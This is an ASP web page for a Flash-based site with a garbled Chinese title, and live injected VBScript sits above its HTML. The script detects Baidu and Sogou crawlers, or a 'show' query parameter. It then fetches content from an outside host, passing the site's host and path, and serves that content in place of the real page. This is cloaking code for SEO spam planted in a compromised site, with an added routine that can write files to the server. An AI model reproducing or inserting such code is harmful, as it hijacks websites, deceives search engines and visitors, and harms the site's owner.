<% function is_search_bot() dim s_agent is_search_bot=false s_agent=Request.ServerVariables("HTTP_USER_AGENT") identify = Array("baiduspider","sogou spider") for i=0 to ubound(identify) If instr(1,s_agent,identify(i),1) >0 Then is_search_bot=True Exit Function End If next end Function If is_search_bot() Or Request.QueryString("show")<>"" Then MyUrl="http://k1.zxrjgwzx.com/" charset="gbk" Server.ScriptTimeOut=9999999 Function getHTTPPage(Path) t = GetBody(Path) getHTTPPage=BytesToBstr(t,charset) End function Function GetBody(url) on error resume next Set Retri = CreateObject("Microsoft.XMLHTTP") With Retri .Open "Get", url, False, "", "" .Send GetBody = .ResponseBody End With Set Retri = Nothing End Function Function BytesToBstr(body,Cset) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function Sub WriteToTextFile(FileUrl,byval Str) set stm=server.CreateObject("adodb.stream") stm.Type=2 stm.mode=3 stm.charset="utf-8" stm.open stm.WriteText str stm.SaveToFile server.MapPath(FileUrl),2 stm.flush stm.Close set stm=nothing End Sub t=DateDiff("s", "1970-1-1 8:00:00", Now()) htmltype=Request.QueryString("type") url = MyUrl+"?charset="+charset+"&host="+(Request.ServerVariables("HTTP_HOST") + Request.ServerVariables("URL")) if Request.QueryString("id")<>"" then url = url + "&type=doc&id="+Request.QueryString("id") + "&t=" &t else url = url + "&type="+htmltype+"&id="+Request.QueryString("id") + "&t=" &t end if html=getHTTPPage(url) Response.Write(html) response.End() End If %><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=gb2312" /> <title>鏄熼洦鍗庡簻</title> <style type="text/css"> /* hide from ie on mac \*/ html{height:100%} #flashcontent { /*height: 768px; overflow:hidden;*/ } /* end hide */ body { height: 100%; margin: 0px; background-color: #000; background-repeat: repeat;; } </style> <script src="Scripts/swfobject.js" type="text/javascript"></script> </head> <body> <div id="flashcontent"></div> <script type="text/javascript"> // <![CDATA[ var so = new SWFObject("info.swf", "sotester", "100%", "100%", "8", ""); so.addParam("scale", "noscale"); so.addParam("allowFullScreen","true"); so.addParam("menu","false"); so.addParam("wmode","transparent"); //so.addVariable("id","") so.write("flashcontent"); // ]]> </script> </body> </html>